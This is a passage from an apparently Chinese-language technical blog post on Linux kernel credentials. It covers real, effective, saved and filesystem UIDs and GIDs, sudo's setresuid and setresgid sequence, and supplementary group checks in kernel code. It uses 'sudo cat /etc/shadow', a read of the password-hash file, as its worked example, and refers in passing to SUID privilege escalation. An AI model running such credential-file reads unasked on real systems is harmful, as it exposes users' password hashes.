16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户资源计数，跟踪用户在命名空间层级中的资源限制</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">group_info</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct group_info *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">补充组列表，进程所属的所有附加组信息，权限判定时直接查询</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">non_rcu</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">int</span></code><p><span leaf="">（union 成员）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">标记是否可以跳过 RCU 删除流程</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">rcu</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct rcu_head</span></code><p><span leaf="">（union 成员）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">RCU 删除钩子，cred 对象通过 RCU 机制安全释放</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来对主要的内容进行解析</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">1. 四种 UID 各自的角色</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用一个具体场景理解：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">用户 ubuntu(UID=1000) 执行 sudo cat /etc/shadow</span><br/><span leaf="">时间线：</span><br/><span leaf="">                        uid    euid    suid    fsuid</span><br/><span leaf="">                        ────   ────    ────    ─────</span><br/><span leaf="">启动 bash 进程时：       1000   1000    1000    1000</span><br/><span leaf="">                       (你是谁) (权限判定) (回退用) (文件判定)</span><br/><span leaf="">执行 sudo 时（execve 一个 setuid-root 程序）：</span><br/><span leaf="">  sudo 进程：           1000   0       0       0</span><br/><span leaf="">                       ↑      ↑       ↑       ↑</span><br/><span leaf="">                       真实身份  当前权力  保存获授身份  文件访问权力</span><br/><span leaf="">                       没变     变成root  root可回切    也变root</span><br/><span leaf="">sudo 内部设置 UID 后 exec 目标命令（如 cat）：</span><br/><span leaf="">  cat 进程：            0      0       0       0</span><br/><span leaf="">                       全部是 root</span><br/><span leaf="">                       （sudo 在 exec 前调用 setresuid(0,0,0)</span><br/><span leaf="">                        将 uid/euid/suid/fsuid 全部设为 0）</span></code></pre><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">语义</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">何时设置</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">uid (Real)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">你真正是谁</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">login 时确定</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">标识身份，一般不变</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">euid (Effective)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">你现在以谁的身份行事</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">execve()</span></code><p><span leaf=""> / </span><code><span leaf="">set*uid()</span></code><span leaf=""> 等规则更新</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">很多权限检查最终都会看这里或由它派生</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">suid (Saved)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">保留一份可回切的有效身份</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">execve(setuid)</span></code><p><span leaf=""> / </span><code><span leaf="">set*uid()</span></code><span leaf=""> 规则更新</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">允许在许可范围内切回</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">fsuid (FS)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件操作以谁的身份</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通常跟 euid 联动</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">VFS 文件权限判定主要看它</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">请注意： 这里的 suid 和我们之前理解的 SUID 提权不是一个概念，这里的 suid 只是一个字段。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">上述案例中为什么执行 sudo 时（execve 一个 setuid-root 程序）时 suid 改变了呢？ 它不是保留一份可回切的有效身份吗？</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因为 suid 保存的不是&#34;旧身份&#34;，而是</span><strong style="font-weight: bold;color: black;"><span leaf="">新获授的身份</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">内核 execve 路径中的三步操作如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">1. prepare_exec_creds()</span><br/><span leaf="">   suid = fsuid = euid = 1000    ← 先同步到当前 euid（此时还是 1000）</span><br/><span leaf="">2. bprm_fill_uid()</span><br/><span leaf="">   euid = 0                       ← SUID 位生效，euid 改为文件属主（root）</span><br/><span leaf="">3. cap_bprm_creds_from_file()</span><br/><span leaf="">   suid = fsuid = euid = 0        ← 再次同步到新的 euid（已是 0）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第 3 步把 suid 同步到的是</span><strong style="font-weight: bold;color: black;"><span leaf="">新 euid（0）</span></strong><span leaf="">，而不是旧 euid（1000）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是有意为之的设计：suid 的语义是&#34;保存这份通过 SUID 机制获授的身份，以便后续回切&#34;。对于 SUID-root 程序，获授的身份就是 root（0），所以 suid=0。这样 SUID 程序才能在需要时临时降权、再通过 suid 恢复：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo 进程初始状态：uid=1000, euid=0, suid=0</span><br/><span leaf="">                     ↑真实身份    ↑当前权力   ↑保存的获授身份</span><br/><span leaf="">临时降权：seteuid(1000)</span><br/><span leaf="">→ uid=1000, euid=1000, suid=0    ← suid 仍保留 root 身份</span><br/><span leaf="">恢复权力：seteuid(0)（内核检查 suid，允许回切）</span><br/><span leaf="">→ uid=1000, euid=0, suid=0       ← 成功回到 root</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 suid 保存的是旧值 1000，那 SUID 程序降权后就永远无法恢复了，SUID 机制就失去了意义。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">2. 四种 GID 各自的角色</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">四种 GID 的机制与四种 UID </span><strong style="font-weight: bold;color: black;"><span leaf="">完全对称</span></strong><span leaf="">，规则一一对应：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">GID 字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对应的 UID 字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">语义</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">何时设置</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">gid (Real)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">uid</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">你真正属于哪个组</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">login 时确定</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">标识组身份，一般不变</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">egid (Effective)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">euid</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">你现在以哪个组的身份行事</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">execve()</span></code><p><span leaf=""> / </span><code><span leaf="">set*gid()</span></code><span leaf=""> 等规则更新</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">组权限判定的主要依据</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sgid (Saved)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">suid</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">保留一份可回切的有效组身份</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">execve(sgid)</span></code><p><span leaf=""> / </span><code><span leaf="">set*gid()</span></code><span leaf=""> 规则更新</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">允许在许可范围内切回</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">fsgid (FS)</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">fsuid</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件操作以哪个组的身份</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通常跟 egid 联动</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">VFS 文件组权限判定主要看它</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">还是用之前的场景，把 GID 也加上：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">用户 ubuntu(UID=1000, GID=1000) 执行 sudo cat /etc/shadow</span><br/><span leaf="">时间线（同时展示 UID 和 GID）：</span><br/><span leaf="">              uid  euid  suid  fsuid | gid  egid  sgid  fsgid</span><br/><span leaf="">              ──── ────  ────  ───── | ──── ────  ────  ─────</span><br/><span leaf="">bash 进程：   1000 1000  1000  1000  | 1000 1000  1000  1000</span><br/><span leaf="">execve sudo   1000   0     0     0  | 1000 1000  1000  1000</span><br/><span leaf="">（SUID 生效） ↑ UID系列变了          ↑ GID 系列没变！</span><br/><span leaf="">              SUID 位只影响 UID      sudo 没有 SGID 位</span><br/><span leaf="">sudo 内部：</span><br/><span leaf="">setresgid(0,0,0)                     |    0    0     0     0</span><br/><span leaf="">                                         ↑ 此时 GID 才变</span><br/><span leaf="">setresuid(0,0,0)               0    0     0     0  |</span><br/><span leaf="">exec cat：     0    0     0     0  |  0    0     0     0</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">关键区别：UID 和 GID 变化的触发机制不同。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">SUID 位只影响 UID 系列（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">bprm_fill_uid()</span></code><span leaf=""> 检测到 SUID 位后只修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">euid</span></code><span leaf="">）。要让 GID 系列也变，需要文件同时设置 </span><strong style="font-weight: bold;color: black;"><span leaf="">SGID 位</span></strong><span leaf="">，或者由程序代码主动调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresgid()</span></code><span leaf=""> 之类的函数。上面的案例中，sudo 没有 SGID 位，所以 GID 的变化完全是 sudo 自己代码里调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresgid(0,0,0)</span></code><span leaf=""> 主动完成的。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这也意味着：如果一个 SUID-root 程序只依赖 SUID 位提权、忘记处理 GID，那它的 gid/egid/sgid/fsgid 都还停留在原用户的组身份上，某些基于组权限的操作可能会出问题。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">3. group_info（补充组列表）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面介绍了四种 GID，它们存储的是进程的</span><strong style="font-weight: bold;color: black;"><span leaf="">主组身份</span></strong><span leaf="">。但一个用户通常不只属于一个组——ubuntu 用户可能同时在 sudo 组、docker 组、adm 组里。这些</span><strong style="font-weight: bold;color: black;"><span leaf="">额外的组成员关系</span></strong><span leaf="">就存储在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group_info</span></code><span leaf=""> 字段中。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">主组和补充组的分工</span></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cred 中与组相关的字段：</span><br/><span leaf="">主组（只有一个数字）：</span><br/><span leaf="">  gid  = 1000    ← 你真正的主组</span><br/><span leaf="">  egid = 1000    ← 有效主组</span><br/><span leaf="">  sgid = 1000    ← 保存的主组</span><br/><span leaf="">  fsgid = 1000   ← 文件操作用的主组</span><br/><span leaf="">补充组（一个已排序的数组）：</span><br/><span leaf="">  group_info → [4, 27, 998]</span><br/><span leaf="">                  ↑   ↑    ↑</span><br/><span leaf="">                  adm sudo docker</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">主组来自 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 的第 4 字段，通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setgid()</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresgid()</span></code><span leaf=""> 设置到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred-&gt;gid/egid/sgid/fsgid</span></code><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">补充组来自 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/group</span></code><span leaf="">（通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups()</span></code><span leaf=""> 查询所有包含该用户的组），通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setgroups()</span></code><span leaf=""> 系统调用设置到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred-&gt;group_info</span></code><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">权限检查时两者都会被查</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在下面 0x05 讲的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">acl_permission_check()</span></code><span leaf=""> 中，判断进程是否属于文件的 group 时，内核调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">in_group_p()</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// kernel/groups.c</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">in_group_p</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">kgid_t</span></span><span leaf=""> grp)</span></span><br/></span><span leaf="">{</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> *</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cred</span></span><span leaf=""> = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">current_cred</span></span><span leaf="">();</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (cred-&gt;fsgid == grp)              </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 先查主组</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> groups_search(cred-&gt;group_info, grp);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 再查补充组</span></span><br/><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先拿 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">fsgid</span></code><span leaf="">（跟随主 GID）比对，匹配就通过；不匹配再查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group_info</span></code><span leaf=""> 里的补充组列表。两者</span><strong style="font-weight: bold;color: black;"><span leaf="">分别检查、各自独立</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用之前的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf=""> 案例：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">文件 group = shadow(42)</span><br/><span leaf="">进程 fsgid = 1000 → 1000 != 42 → 主组不匹配</span><br/><span leaf="">进程 group_info = [4, 27, 998] → 没有找到 42 → 补充组也不匹配</span><br/><span leaf="">→ 落入 other 位判断</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">补充组在登录时一次性加载</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group_info</span></code><span leaf=""> 不是实时查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/group</span></code><span leaf=""> 的。它在登录时由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator 